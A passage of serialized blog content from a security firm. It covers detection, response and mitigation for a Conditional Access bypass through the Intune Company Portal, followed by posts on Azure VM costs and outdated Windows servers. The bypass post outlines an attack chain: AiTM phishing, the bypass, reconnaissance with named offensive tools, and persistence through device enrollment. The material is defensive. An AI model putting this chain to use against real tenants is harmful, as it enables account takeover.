#75715E;","// Access to Microsoft Intune Company Portal",[2012,19465],{},[1584,19467,19446],{"style":19445}," ApplicationId == ",[1584,19470,19472],{"style":19471},"color: #D69D85;","@\"9ba1a5c7-f17a-4de9-a1f1-6178c8d51223\"",[2012,19474],{},[1584,19476,19477],{"style":19462},"// From non joined/registered device",[2012,19479],{},[1584,19481,19446],{"style":19445}," isempty(AadDeviceId) ",[2012,19484],{},[1584,19486,19487],{"style":19462},"// Used to access resource Microsoft Graph or Windows Azure Active Directory",[2012,19489],{},[1584,19491,19446],{"style":19445}," ResourceId ",[1584,19494,19495],{"style":19445},"in",[1584,19497,19498],{"style":19471},"\"00000002-0000-0000-c000-000000000000\"",[1584,19500,19501],{"style":19471},"\"00000003-0000-0000-c000-000000000000\"",[2012,19503],{},[1584,19505,19506],{"style":19445},"summarize by"," SessionId ",[2012,19509],{},[1584,19511,19512],{"style":19462},"// Find the initial logon event based on the session Id",[2012,19514],{},[1584,19516,19517],{"style":19445},"join kind=inner",[2012,19519],{},"\n    AADSignInEventsBeta ",[2012,19522],{},"\n    | ",[1584,19525,19446],{"style":19445}," ErrorCode == ",[1584,19528,2288],{"style":19454},[2012,19530],{},[1584,19532,19533],{"style":19445},"summarize arg_min(","Timestamp, *",[1584,19536,19537],{"style":19445},") by"," SessionId)",[2012,19540],{},"\n    ",[1584,19543,19544],{"style":19445},"on",[2012,19546],{},[1584,19548,19549],{"style":19462},"// Ignore trusted and managed devices",[2012,19551],{},[1584,19553,19446],{"style":19445}," isempty(DeviceTrustType) ",[2012,19556],{},[1584,19558,19446],{"style":19445}," IsManaged != ",[1584,19561,2318],{"style":19454},[2012,19563],{},[1584,19565,19463],{"style":19462},[2012,19567],{},[1584,19569,19446],{"style":19445},[1584,19571,19472],{"style":19471},[2012,19573],{},[1584,19575,19576],{"style":19462},"// when the first requested resource is Microsoft Graph or Windows Azure Active Directory",[2012,19578],{},[1584,19580,19446],{"style":19445},[1584,19582,19495],{"style":19445},[1584,19584,19498],{"style":19471},[1584,19586,19501],{"style":19471},[2012,19588],{},[810,19590,19592],{"id":19591},"how-should-we-respond-when-we-detect-suspicious-activities","How should we respond when we detect suspicious activities?",[806,19594,816],{},[806,19596,19597],{},"Initialize your incident response process using a defined playbook which contains:",[2733,19599,19600,19620,19628,19631,19634],{},[2736,19601,19602,19603],{},"Hunting for suspicious or anomalous activity by the compromised user\n",[2733,19604,19605,19611,19614,19617],{},[2736,19606,19607,19608],{},"Summary of non-interactive sign-in to Resource Applications including IP addresses and UserAgents based on ",[1546,19609,19610],{},"sessionId",[2736,19612,19613],{},"Check if Microsoft Entra Audit Logs shown critical operations by the user or IP addresses (e.g., added credentials to owned app registrations)",[2736,19615,19616],{},"Identify if the user has registered devices in the affected session",[2736,19618,19619],{},"Check Intune audit logs for operations by application “Company Portal” and the affected user",[2736,19621,19622,19623],{},"Hunting for related alerts by the impacted entities\n",[2733,19624,19625],{},[2736,19626,19627],{},"Lookup for entities in the AlertEvidence table to identify other alerts based on SessionId, IP Addresses and User",[2736,19629,19630],{},"Identify criticality of the user (by privileges) in Exposure Management",[2736,19632,19633],{},"Review of hunting results and verify if the action was legitimate as part of a device enrollment.",[2736,19635,19636],{},"Identity the initial access vector and reset the users’ credentials and when needed devices.",[810,19638,19640],{"id":19639},"can-we-mitigate-the-attack","Can we mitigate the attack?",[806,19642,816],{},[806,19644,19645,19646,19649],{},"Since the configured exclusion is required for Intune enrollment, ",[1732,19647,19648],{},"there is no mitigation that would not break other parts of Microsoft 365",". Access to the Azure AD Graph resource cannot be scoped or blocked directly. Any Conditional Access policy using “Block” as grant control will prevent access but might have other implications.",[806,19651,19652],{},"But for mitigation it is crucial to understand that this Conditional Access bypass is not a complete attack. It is a technique which as a step allows a range of attacks.",[806,19654,19655],{},"An attack path could be",[4349,19657,19658,19661,19664,19667],{},[2736,19659,19660],{},"Account Compromise via Phishing and AiTM",[2736,19662,19663],{},"Conditional Access Bypass",[2736,19665,19666],{},"Reconnaissance using e.g. ROADrecon, GraphRunner or AADInternals",[2736,19668,19669],{},"Lateral Movement, Privilege Escalation or Persistence through a newly registered device enrolled in Intune",[806,19671,19672],{},"Since we are not able to mitigate the Conditional Access bypass without breaking Intune enrollment, it is more than reasonable to implement mitigations at the other steps off the attack path and also implement reasonable detections.",[806,19674,19675],{},"To reduce the probability and impact we suggest increasing the strengths of other controls and implement the following soon:",[2733,19677,19678,19684,19690,19696,19702,19717,19723],{},[2736,19679,19680,19683],{},[1732,19681,19682],{},"Enforce MFA for “All Users” and “All Cloud Apps” through Conditional Access."," If you only enforce Device Compliance Single Factor Authentication is enough with this technique.",[2736,19685,19686,19689],{},[1732,19687,19688],{},"Do not use Device Compliance or MFA in your rulesets, always enforce both!"," Using OR would never restrict all access to compliant device, because an access token with MFA in scope would be sufficient to access the tenant.",[2736,19691,19692,19695],{},[1732,19693,19694],{},"Restrict Security Information Registration to Compliant Devices, Phishing Resistant Authentication or TAP."," In our tests we did not manage to bypass Device Compliance for the Security Info Registration.",[2736,19697,19698,19701],{},[1732,19699,19700],{},"Require Phishing Resistant Authentication or TAP for Join or Register Devices"," Without it will be possible to register a device with e.g. AADInternals and this technique.",[2736,19703,19704,19707,19708],{},[1732,19705,19706],{},"Require MFA and “Sign-in frequency every time” for Microsoft Intune Enrollment"," This limits the timespan an attacker could use fresh credentials to enroll a new device to Intune.\n",[3589,19709,19710],{},[806,19711,19712,19713,19716],{},"🚧\n",[1732,19714,19715],{},"Caution: Sign-in frequency every time = Every five minutes","\nMicrosoft factors for five minutes of clock skew when “every time” is selected in a conditional access policy, so that users do not get prompted more often than once every five minutes.",[2736,19718,19719,19722],{},[1732,19720,19721],{},"Block personally owned devices in the Intune Enrollment restrictions."," Without these restrictions, an attacker could enroll a new device and gain additional foothold.",[2736,19724,19725,19728],{},[1732,19726,19727],{},"Set device compliance to fail when no compliance policy is assigned to a device in Intune."," By default each device is considered compliant, even if no policy is actually applied. Change this and make a device compliance policy a requirement.",[806,19730,19731,19732,2491],{},"In the long run, we would like to encourage you to invest in rollout password-less, phishing-resistant authentication like Windows Hello for Business and Passkeys (incl. Platform Credentials by using macOS Platform SSO). This will allow you to subsequently enforce phishing resistant authentication and block AiTM attacks. Instead of password allow the usage of Temporary Access Pass (TAP) for limited time and scenarios, e.g. onboarding new devices or employees. To support the usage of TAPs for various use cases we have built ",[833,19733,442],{"href":19734,"rel":19735},"https://myworkid.cloud/",[1410],[810,19737,19739],{"id":19738},"conclusion","Conclusion",[806,19741,816],{},[806,19743,19744],{},"Conditional Access as the Zero Trust engine for Entra ID is, in itself, already complicated. Added built-in exclusions in the backend of Entra by Microsoft make it even harder for many to understand the impact of policies and protections. Still the idea of Zero Trust and defense in depth holds up.",[806,19746,19747],{},"The device compliance policy prevents most AiTM attacks and multi-factor authentication makes it harder for any attacker to abuse leaked or otherwise compromised credentials.",[806,19749,19750],{},"All these security measures must be used together and not one instead of the other. This ensures a secure environment, even if one of the defenses is tampered with or overcome.",[806,19752,19753],{},"We strongly recommend deploying the provided detection in Microsoft Defender XDR to ensure detection of potential abuse. Make sure your SOC is prepared to investigate those incidents and provide them with the necessary playbooks.",{"title":863,"searchDepth":864,"depth":864,"links":19755},[19756,19757,19758,19761,19767,19768,19769,19770],{"id":19147,"depth":864,"text":19148},{"id":19203,"depth":864,"text":19204},{"id":19248,"depth":864,"text":19249,"children":19759},[19760],{"id":19254,"depth":1810,"text":19255},{"id":19332,"depth":864,"text":19333,"children":19762},[19763,19764,19765,19766],{"id":19338,"depth":1810,"text":19339},{"id":19368,"depth":1810,"text":19296},{"id":19401,"depth":1810,"text":19307},{"id":19409,"depth":1810,"text":19410},{"id":19423,"depth":864,"text":19424},{"id":19591,"depth":864,"text":19592},{"id":19639,"depth":864,"text":19640},{"id":19738,"depth":864,"text":19739},{"lang":872,"seoTitle":19772,"titleClass":874,"date":19773,"categories":19774,"blogtitlepic":19775,"socialimg":19776,"customExcerpt":19777,"keywords":19778,"contactInContent":19779,"scripts":19798},"Compliant Device Bypass in Microsoft Intune – Detection, Response & Mitigation","2025-01-14",[371],"header-company-portal-ca-bypass","/blog/heads/header-company-portal-ca-bypass.png","In this blog post, glueckkanja's MVP Fabian Bader, Chris Brumm and Thomas Naunheim gather details about the Compliant Device Bypass in Microsoft Intune Company Portal. After additional research, they have found an approach to detect and respond to the potential threat. You'll also find guidance on Conditional Access to reduce the attack surface and details on the blast radius.","Compliant Device Bypass, Microsoft Intune, Conditional Access, Entra ID, Intune Company Portal, device compliance, CA exclusion, TokenSmith PoC, cloud security, PowerShell PoC, Fabian Bader, Christopher Brumm, Thomas Naunheim, security threat, Black Hat Europe, Intune Enrollment, MSRC response, attack detection, threat mitigation, cloud compliance, FOCI feature",{"quote":749,"infos":19780},{"bgColor":18507,"color":885,"boxBgColor":18508,"boxColor":18509,"headline":18510,"subline":19781,"level":810,"textStyling":888,"flush":889,"person":19782,"form":19786},"Would you like to learn more about the Compliant Device Bypass and how to detect and mitigate it effectively? Our experts are ready to walk you through our findings and support you with proven strategies for enhanced security. We look forward to connecting with you!",{"image":18513,"cloudinary":508,"alt":18514,"name":18514,"detailsHeader":18515,"details":19783},[19784,19785],{"text":762,"href":899,"details":6062,"icon":901},{"text":763,"href":903,"icon":904},{"ctaText":18520,"cta":19787,"method":870,"action":909,"fields":19788},{"skin":908},[19789,19790,19791,19792,19793,19794,19796,19797],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":3688,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":943,"value":19795},"Request Global Secure Access",{"type":912,"id":946,"value":947},{"type":912,"id":949},{"slick":508,"form":508},"/posts/2025-01-14-compliant-device-bypass",{"title":19141,"description":863},"posts/2025-01-14-compliant-device-bypass",[371,19803,19804,19805],"Entra","Conditional Access","ITDR","5vDQmHlV9DJmsqei7f4amz588bVEQCl93PVGHeSwRv0",{"id":19808,"title":19809,"author":19810,"body":19811,"cta":764,"description":19817,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":20087,"moment":20089,"navigation":508,"path":20101,"seo":20102,"stem":20103,"tags":20104,"webcast":749,"__hash__":20108},"content_en/posts/2024-11-11-vm-cost-optimization-on-azure.md","How to Keep Your Azure VM Costs Under Control",[1201],{"type":803,"value":19812,"toc":20077},[19813,19818,19821,19825,19827,19830,19833,19847,19853,19857,19859,19862,19873,19876,19879,19888,19897,19901,19903,19906,19910,19912,19915,19918,19926,19932,19940,19945,19954,19960,19964,19966,19969,19977,19982,19990,20001,20009,20026,20030,20032,20035,20049,20055,20058,20061,20066,20069,20071,20074],[806,19814,19815],{},[1732,19816,19817],{},"\"Why Are My Virtual Machines (VMs) in Azure So Expensive? I Thought the Cloud Was Supposed to Be Cheaper!\"",[806,19819,19820],{},"This is a statement we frequently hear from customers—especially those who have migrated their IT infrastructure to the cloud using a \"lift & shift\" approach without making any adjustments. Without proper optimization, the cloud can indeed end up being more costly than expected.",[810,19822,19824],{"id":19823},"do-you-even-need-a-vm","Do You Even Need a VM?",[806,19826,816],{},[806,19828,19829],{},"This is the first question to ask: Is a VM truly necessary for the task at hand, or could a cloud-native service like Azure Functions or a Kubernetes cluster be a better fit?",[806,19831,19832],{},"That said, there are valid reasons to stick with a VM:",[2733,19834,19835,19838,19841,19844],{},[2736,19836,19837],{},"Requirements set by software vendors",[2736,19839,19840],{},"Lack of expertise within the organization to transition applications",[2736,19842,19843],{},"Staff shortages",[2736,19845,19846],{},"Other specific needs",[806,19848,19849,19850,19852],{},"So, how can costs be optimized when a VM is unavoidable?",[2012,19851],{},"\nHere are some effective strategies.",[810,19854,19856],{"id":19855},"the-biggest-cost-drivers-for-vms","The Biggest Cost Drivers for VMs",[806,19858,816],{},[806,19860,19861],{},"The cost of VMs in Azure is primarily influenced by the following factors:",[2733,19863,19864,19867,19870],{},[2736,19865,19866],{},"Runtime",[2736,19868,19869],{},"Assigned SKU (Virtual Machine Size)",[2736,19871,19872],{},"Operating system licenses",[806,19874,19875],{},"The bulk of the expense comes from the resources consumed during runtime. As long as a VM is active and utilizing CPU and RAM resources, costs accrue—whether the VM is fully utilized or idle. When a VM is turned off, charges are reduced to the storage used.",[806,19877,19878],{},"Each VM in Azure is tied to a specific SKU, which defines its configuration in terms of CPU and RAM. Different SKUs are optimized for different use cases, such as a high CPU-to-RAM ratio for compute-intensive tasks.",[806,19880,19881,19882,19884,19887],{},"The SKU name typically reveals its configuration.",[2012,19883],{},[1732,19885,19886],{},"Example:"," A VM in the D-series is designed for a balanced ratio of CPU to RAM, typically 4 GB of RAM per CPU core. For instance, Standard_D4s_v5 offers 4 CPU cores and 16 GB of RAM. The \"s\" denotes support for premium SSD storage.",[806,19889,19890,19891,19896],{},"Microsoft provides a ",[833,19892,19895],{"href":19893,"rel":19894},"https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview?tabs=breakdownseries%2Cgeneralsizelist%2Ccomputesizelist%2Cmemorysizelist%2Cstoragesizelist%2Cgpusizelist%2Cfpgasizelist%2Chpcsizelist",[1410],"comprehensive list"," of all available SKUs, complete with detailed performance metrics.",[810,19898,19900],{"id":19899},"how-to-optimize-vm-costs","How to Optimize VM Costs",[806,19902,816],{},[806,19904,19905],{},"To reduce VM costs, focus on the following areas:",[1667,19907,19909],{"id":19908},"resource-allocation","Resource Allocation",[806,19911,1531],{},[806,19913,19914],{},"The first key question: Is the current VM assigned to the optimal SKU?",[806,19916,19917],{},"This can be determined by reviewing the VM metrics in the Azure portal. It may reveal that the chosen VM size is oversized, or that the resources are fully utilized only during certain periods, leaving the VM idle for much of the month. Perhaps the VM is assigned to the wrong SKU series, and an option with more RAM per CPU core would be more suitable.",[806,19919,19920,19923,19925],{},[1732,19921,19922],{},"Example: Intermittent Usage",[2012,19924],{},"\nA typical scenario might involve monthly billing runs in an ERP system. The VM is heavily utilized once a month for processing invoices but is otherwise used sporadically for less intensive data queries.",[806,19927,19928,19931],{},[1732,19929,19930],{},"Solution:"," Scale the VM down to a smaller SKU for most of the month and temporarily scale it up during billing cycles. Azure makes it easy to adjust VM sizes within the same series with minimal downtime.",[806,19933,19934,19937,19939],{},[1732,19935,19936],{},"Example: Wrong SKU",[2012,19938],{},"\nAnother scenario: An application requires 64 GB of RAM but only 4 CPU cores. If the VM is mistakenly configured as Standard_D16s_v5, it includes 16 CPU cores—far more than needed.",[806,19941,19942,19944],{},[1732,19943,19930],{}," Switching to a SKU like Standard_E8-4s_v5 would provide the same 64 GB of RAM with only 4 CPU cores.",[806,19946,19947,19948,19953],{},"Using the ",[833,19949,19952],{"href":19950,"rel":19951},"https://azure.microsoft.com/en-us/pricing/calculator/",[1410],"Azure Pricing Calculator",", you can quickly identify potential savings. The difference could exceed $500 per month.",[806,19955,19956],{},[1449,19957],{"alt":19958,"src":19959},"VM Cost Comparison","https://res.cloudinary.com/c4a8/image/upload/blog/pics/vm-cost-optimization.png",[1667,19961,19963],{"id":19962},"optimizing-vm-runtime","Optimizing VM Runtime",[806,19965,1531],{},[806,19967,19968],{},"In the cloud, VMs incur costs based on active CPU and RAM usage. On-premises, VMs often ran 24/7 since it had little impact on costs. In the cloud, however, it’s worth asking: Does the VM need to run 24/7?",[806,19970,19971,19974,19976],{},[1732,19972,19973],{},"Example: 12/5 Usage",[2012,19975],{},"\nConsider a VM whose application isn’t used overnight or on weekends. Continuous availability isn’t necessary.",[806,19978,19979,19981],{},[1732,19980,19930],{}," Schedule the VM to shut down during non-business hours. Just remember to account for update management to avoid security risks. Azure Automation Accounts can automate VM start and stop schedules.",[806,19983,19984,19987,19989],{},[1732,19985,19986],{},"Example: 24/7 Usage",[2012,19988],{},"\nSome systems, such as domain controllers, must be available around the clock to respond to users, clients, and servers.",[806,19991,19992,19994,19995,20000],{},[1732,19993,19930],{}," For such cases, ",[833,19996,19999],{"href":19997,"rel":19998},"https://azure.microsoft.com/en-us/pricing/reserved-vm-instances/?msockid=11c5d32a1e116e2101f6c6241ff16ff8",[1410],"Azure Reserved Instances"," are ideal. Organizations commit to a fixed amount of compute resources for 1–3 years at a discounted rate. Billing can be monthly or upfront, and Reserved Instances can often be applied to other VMs of the same SKU when available.",[806,20002,20003,20006,20008],{},[1732,20004,20005],{},"Example: Upcoming Modernization",[2012,20007],{},"\nSometimes, VMs are still needed while a transition to cloud-native services like Azure Functions or Kubernetes is being planned. If the migration is expected within three months, Reserved Instances might not be worthwhile.",[806,20010,20011,20013,20014,20019,20020,20025],{},[1732,20012,19930],{}," The ",[833,20015,20018],{"href":20016,"rel":20017},"https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/savings-plan-compute-overview",[1410],"Azure Savings Plan"," offers flexibility. Similar to Reserved Instances, it spans 1–3 years but covers a broader range of ",[833,20021,20024],{"href":20022,"rel":20023},"https://azure.microsoft.com/en-us/pricing/offers/savings-plan-compute/#Select-services",[1410],"Azure services",". Companies commit to spending a set amount per hour, receiving discounted rates on eligible services up to that limit. Costs exceeding the commitment are billed at standard rates.",[1667,20027,20029],{"id":20028},"licenses","Licenses",[806,20031,1531],{},[806,20033,20034],{},"Operating system licenses are often overlooked in cost optimization. By default, Azure provides a rental license for the OS when creating a VM. However, many organizations already own licenses.",[806,20036,20037,20040,20042,20043,20048],{},[1732,20038,20039],{},"Solution: Azure Hybrid Benefit",[2012,20041],{},"\nWith ",[833,20044,20047],{"href":20045,"rel":20046},"https://azure.microsoft.com/en-us/pricing/hybrid-benefit/?msockid=11c5d32a1e116e2101f6c6241ff16ff8#features",[1410],"Azure Hybrid Benefit",", existing licenses, such as Windows Server, can be applied to Azure VMs.",[806,20050,20051],{},[1449,20052],{"alt":20053,"src":20054},"Azure Hybrid Benefit Windows Server","https://res.cloudinary.com/c4a8/image/upload/blog/pics/azure_hybrid_benefit_ms_picture_windows_server.png",[806,20056,20057],{},"This option isn’t limited to Windows but also applies to other licensed systems like Red Hat, SUSE Enterprise, and Microsoft SQL Server.",[806,20059,20060],{},"Using existing licenses in Azure has specific requirements. Once met, simply enable the Hybrid Benefit in the VM settings to unlock savings. A quick comparison of VMs with and without Hybrid Benefit highlights the cost advantage.",[806,20062,20063],{},[1449,20064],{"alt":20047,"src":20065},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/azure-hybrid-benefit.png",[806,20067,20068],{},"It’s worth exploring whether your existing licenses qualify for Azure Hybrid Benefit.",[810,20070,19739],{"id":19738},[806,20072,20073],{},"Careful resource allocation, targeted runtime optimization, and leveraging existing licenses are key steps to reducing costs. It’s also worthwhile to evaluate alternatives to VMs and consider cloud-native services. Tools like the Azure Pricing Calculator, Azure Automation, and options such as Azure Hybrid Benefit help maintain clarity and identify savings opportunities.",[806,20075,20076],{},"For long-term success in the cloud, continuously assess and optimize your infrastructure while balancing cost and value.",{"title":863,"searchDepth":864,"depth":864,"links":20078},[20079,20080,20081,20086],{"id":19823,"depth":864,"text":19824},{"id":19855,"depth":864,"text":19856},{"id":19899,"depth":864,"text":19900,"children":20082},[20083,20084,20085],{"id":19908,"depth":1810,"text":19909},{"id":19962,"depth":1810,"text":19963},{"id":20028,"depth":1810,"text":20029},{"id":19738,"depth":864,"text":19739},{"lang":872,"seoTitle":20088,"titleClass":874,"date":20089,"categories":20090,"blogtitlepic":20091,"socialimg":20092,"customExcerpt":20093,"keywords":20094,"hreflang":20095,"scripts":20100},"Optimize Azure VM Costs: Top Tips and Strategies","2024-11-11",[199],"head-vm-cost-optimization","/blog/heads/head-vm-cost-optimization.jpg","Virtual Machines (VMs) in Azure can be more expensive than expected, especially without proper optimization. This article shows you how to cut costs by selecting the right VM SKU, optimizing runtimes, and leveraging existing licenses effectively. With the right strategies, you can make your cloud expenses more efficient in the long run.","Azure VM costs, cloud cost optimization, virtual machines, Azure SKU, Azure Hybrid Benefit, cloud-native services, cost optimization Azure, VM runtime optimization, Azure Reserved Instances, Azure Automation",[20096,20098],{"lang":4,"href":20097},"/blog/azure/2024/11/vm-cost-optimization-on-azure",{"lang":956,"href":20099},"/blog/azure/2024/11/vm-cost-optimization-on-azure-es",{"slick":508,"form":508},"/posts/2024-11-11-vm-cost-optimization-on-azure",{"title":19809,"description":19817},"posts/2024-11-11-vm-cost-optimization-on-azure",[20105,20106,20107],"Azure Automation","Cloud Technology","Azure Cost Optimization","UEpPO9pXeVSWtkmZmp-ibyRnZqgC7Yy2MTR852-3IMw",{"id":20110,"title":20111,"author":20112,"body":20113,"cta":764,"description":863,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":20400,"moment":20401,"navigation":508,"path":20432,"seo":20433,"stem":20434,"tags":20435,"webcast":749,"__hash__":20441},"content_en/posts/2024-10-17-end-of-support-operating-systems.md","Why Your Outdated Windows Servers Are Putting Your Business at Risk",[1206],{"type":803,"value":20114,"toc":20388},[20115,20119,20121,20124,20127,20131,20133,20139,20145,20148,20156,20160,20162,20165,20177,20180,20183,20186,20189,20193,20195,20199,20201,20204,20213,20219,20223,20225,20228,20231,20241,20247,20253,20259,20263,20265,20270,20273,20279,20287,20291,20293,20296,20299,20302,20305,20308,20312,20314,20317,20319,20368,20373,20376,20379,20382],[810,20116,20118],{"id":20117},"windows-servers-vs-airplane","Windows Servers vs Airplane",[806,20120,816],{},[806,20122,20123],{},"Imagine boarding an airplane that’s long out of service, plagued with over 35 critical mechanical issues. Would you still feel safe? Now think of your Windows Server 2012 R2. It’s essentially that same outdated airplane, riddled with vulnerabilities, but this time, it’s your organization’s infrastructure on the line.",[806,20125,20126],{},"It’s time to act – don’t waste any more time. Your flight is booked, but it’s at serious risk.",[810,20128,20130],{"id":20129},"understand-the-security-implications-and-potential-impact","Understand the Security Implications and Potential Impact",[806,20132,816],{},[806,20134,20135,20138],{},[1732,20136,20137],{},"Security Score Impact:"," End-of-Life (EOL) systems significantly lower your organization’s overall security score.",[806,20140,20141,20144],{},[1732,20142,20143],{},"Massive Risk:"," These systems are highly vulnerable to attacks due to the absence of updates and vendor support, posing a severe threat to the entire corporate environment.",[806,20146,20147],{},"Attackers love EOL operating systems, as they serve as open invitations to gain a foothold in your network, potentially leading to a full infrastructure compromise.",[806,20149,20150,20151,20155],{},"While our ",[833,20152,20154],{"href":20153},"/en/security/are-you-under-attack/","APT Response services"," can help you recover, we always advocate for a proactive approach—one that ensures you never face such a situation in the first place.",[810,20157,20159],{"id":20158},"identify-eol-systems-in-your-organization","Identify EOL Systems in Your Organization",[806,20161,816],{},[806,20163,20164],{},"Discovery & Methods to Identify End-of-Life (EOL) Operating Systems",[806,20166,20167,20168,20172,20173,20176],{},"Start with discovery. We frequently uncover End-of-Life (EOL) operating systems during our assessments, whether through ",[833,20169,20171],{"href":20170},"/en/security/preventive-services/","preventive services like AD/EID"," or our ",[833,20174,20175],{"href":6257},"managed CSOC offerings",". The first step in addressing this issue is developing reliable methods to identify EOL systems and take action.",[806,20178,20179],{},"It’s crucial to establish a strategy for regularly identifying these outdated systems using various tools and assessments. We can partner with you to implement this effectively.",[806,20181,20182],{},"One key step is identifying your Line of Business (LOB) applications and determining where they’re running to ensure alignment with your business needs. The risk-based LOB triangle is a valuable tool that helps uncover dependencies and assess risks throughout your organization.",[806,20184,20185],{},"By analyzing loss patterns and volatility over time, this approach becomes a cornerstone of effective risk management, delivering essential insights to your management team. This is especially critical when super-sensitive LOBs, sitting at the top of the triangle, are operating on EOL systems. These systems pose a significant threat to service continuity, operational stability, and overall business performance.",[806,20187,20188],{},"In short, if your most critical LOBs are running on EOL systems, you’re exposing your company to the risk of service disruption and elevated operational dangers.",[810,20190,20192],{"id":20191},"building-an-outdated-operating-system-strategy","Building an Outdated Operating System Strategy",[806,20194,816],{},[1667,20196,20198],{"id":20197},"short-term-solution-esu-could-be-your-friend","Short-Term Solution: ESU Could Be Your Friend",[806,20200,1531],{},[806,20202,20203],{},"Address vulnerabilities by implementing a short-term solution and simultaneously work on a long-term strategy to handle End-of-Life (EOL) and End-of-Support (EOS) systems.",[806,20205,20206,20207,20212],{},"Use ",[833,20208,20211],{"href":20209,"rel":20210},"https://www.microsoft.com/en-us/windows-server/extended-security-updates",[1410],"Extended Security Updates (ESU)"," as a lifesaver to get through this challenging period. ESU can temporarily secure EOL systems until migration or decommissioning is completed. Remember, this is just a short-term workaround.",[806,20214,20215,20218],{},[1732,20216,20217],{},"Isolation:"," Completely isolate these systems from networks and Active Directory during the transition period. This gives you the time to plan and execute your migration without exposing yourself to severe risks, creating a more manageable situation.",[1667,20220,20222],{"id":20221},"build-a-long-term-strategy","Build a Long-Term Strategy",[806,20224,1531],{},[806,20226,20227],{},"After addressing immediate concerns with ESU, it's time to shift focus towards a long-term strategy to phase out legacy systems. Take a moment to evaluate the best long-term solutions that align with your needs.",[806,20229,20230],{},"Consider migration to modern operating systems, serverless approaches, Software as a Service (SaaS), or any cloud-native solutions that tailored to your environment.",[806,20232,20233,20236,20237,20240],{},[1732,20234,20235],{},"Migration:"," Plan and execute the upgrade of outdated systems to the latest versions. Evaluate alternatives such as serverless, containers, or Kubernetes (K8s). glueckkanja's ",[833,20238,20239],{"href":261},"Azure Foundation Blueprint"," provides a solid framework for your cloud migration. Using Infrastructure-as-Code deployment, we ensure a fast implementation with the highest quality. Security and governance requirements are directly embedded in the platform, and built-in controls such as policies and automation replace outdated, costly processes and workflows.",[806,20242,20243,20246],{},[1732,20244,20245],{},"Decommissioning:"," Safely decommission unsupported systems.\nBy following this approach, you mitigate immediate risks while planning for sustainable, long-term security improvements. If you need further details or assistance, feel free to reach out!",[806,20248,20249,20252],{},[1732,20250,20251],{},"Long-Term Target:"," In the future, ensure you are prepared well in advance of your systems reaching End of Life (EOL).",[806,20254,20255,20258],{},[1732,20256,20257],{},"Get in contact with our Azure experts:"," Plan and execute a successful cloud migration with our guidance. glueckkanja holds the Azure Advanced Specialization for Infrastructure and Database Migration. Customers can also take advantage of the Azure Migration and Modernization Program (AMM) for comprehensive migration support.",[810,20260,20262],{"id":20261},"know-about-os-support-lifecycle","Know About OS Support Lifecycle",[806,20264,816],{},[806,20266,20267],{},[1732,20268,20269],{},"Regularly review the support lifecycle and timeline for each operating system (OS) to ensure compliance and proactive risk management.",[806,20271,20272],{},"Microsoft provides consistent and predictable guidelines for their products, whether it’s server OS, client OS, or other products like Exchange, SQL, and many more.",[806,20274,20275,20276,2491],{},"This enables strategic planning for the future. Always stay informed about the OS and software support lifecycle. Regular reviews help you stay compliant and proactively manage risks. With Defender for Endpoint, these reviews are simplified. Monitoring vulnerabilities and identifying End-of-Life systems are integral parts of our ",[833,20277,20278],{"href":425},"CSOC Service",[806,20280,20281,20282,2491],{},"Get an overview of the ",[833,20283,20286],{"href":20284,"rel":20285},"https://learn.microsoft.com/en-us/lifecycle/",[1410],"Microsoft Lifecycle Policy",[810,20288,20290],{"id":20289},"conclusion-dont-wait-for-the-press-to-write-your-story","Conclusion: Don’t Wait for the Press to Write Your Story",[806,20292,816],{},[806,20294,20295],{},"The message is loud and clear: don’t wait for service interruptions or compromises.",[806,20297,20298],{},"We hope to see only positive news about your enterprise in the press. While we offer APT Response services, we strongly encourage you – and all our customers – to engage with us proactively, rather than reacting to a security breach.",[806,20300,20301],{},"The essence of this article is to urge you to shift from a reactive stance to preparing your business for the next level. Future-proof your organization by maintaining up-to-date platforms or adopting cloud-native solutions. All stakeholders, including your customers and management, will appreciate this proactive approach.",[806,20303,20304],{},"Management, in particular, should be fully aware of their responsibilities and liabilities in ensuring the company’s operational stability and security.",[806,20306,20307],{},"Take advantage of our Azure, Workplace, and Security offerings – feel free to reach out to us!",[810,20309,20311],{"id":20310},"appendix-windows-server-2012-r2-windows-server-2008-r2-number-of-vulnerabilities","Appendix - Windows Server 2012 R2 - Windows Server 2008 R2 - Number of Vulnerabilities",[806,20313,816],{},[806,20315,20316],{},"The table below highlights the known vulnerabilities, which continue to increase by over 20 each month.",[3606,20318,19263],{},[1898,20320,1901,20321],{},[1919,20322,20323,1901,20334,1901,20345,1901,20357],{},[1907,20324,1905,20325,1905,20328,1905,20331,1901],{},[1911,20326,20327],{},"Operating System",[1911,20329,20330],{},"Windows Server 2012 R2",[1911,20332,20333],{},"Windows Server 2008 R2",[1907,20335,1905,20336,1905,20339,1905,20342,1901],{},[1924,20337,20338],{},"Total # of Vulnerabilities*",[1924,20340,20341],{"style":10209},"1.142",[1924,20343,20344],{"style":10209},"2.240",[1907,20346,1905,20347,1905,20350,1905,20354,1901],{},[1924,20348,20349],{},"Critical",[1924,20351,20353],{"style":20352},"text-align: center; color: red;","35",[1924,20355,20356],{"style":20352},"47",[1907,20358,1905,20359,1905,20362,1905,20365,1901],{},[1924,20360,20361],{},"High",[1924,20363,20364],{"style":10209},"806",[1924,20366,20367],{"style":10209},"1.457",[806,20369,20370],{},[4777,20371,20372],{},"Data as of September 2024, with a growing number of vulnerabilities month-over-month",[806,20374,20375],{},"As of September 2024, Windows Server 2012 R2 is missing 1,142 vulnerabilities (see bullet point 1), which remain unaddressed or unpatched. This number is steadily growing month over month, with 35 classified as critical and 806 as high severity (see bullet point 2).",[806,20377,20378],{},"The situation is even more concerning for Windows Server 2008 R2, with an even larger number of known vulnerabilities. This creates an inviting opportunity for attackers, giving them a clear path to potential compromises.",[806,20380,20381],{},"This data is sourced from Microsoft Defender for Endpoint, which provides a comprehensive overview and valuable insights into system vulnerabilities.",[806,20383,20384],{},[1449,20385],{"alt":20386,"src":20387},"Microsoft Defender for Endpoint 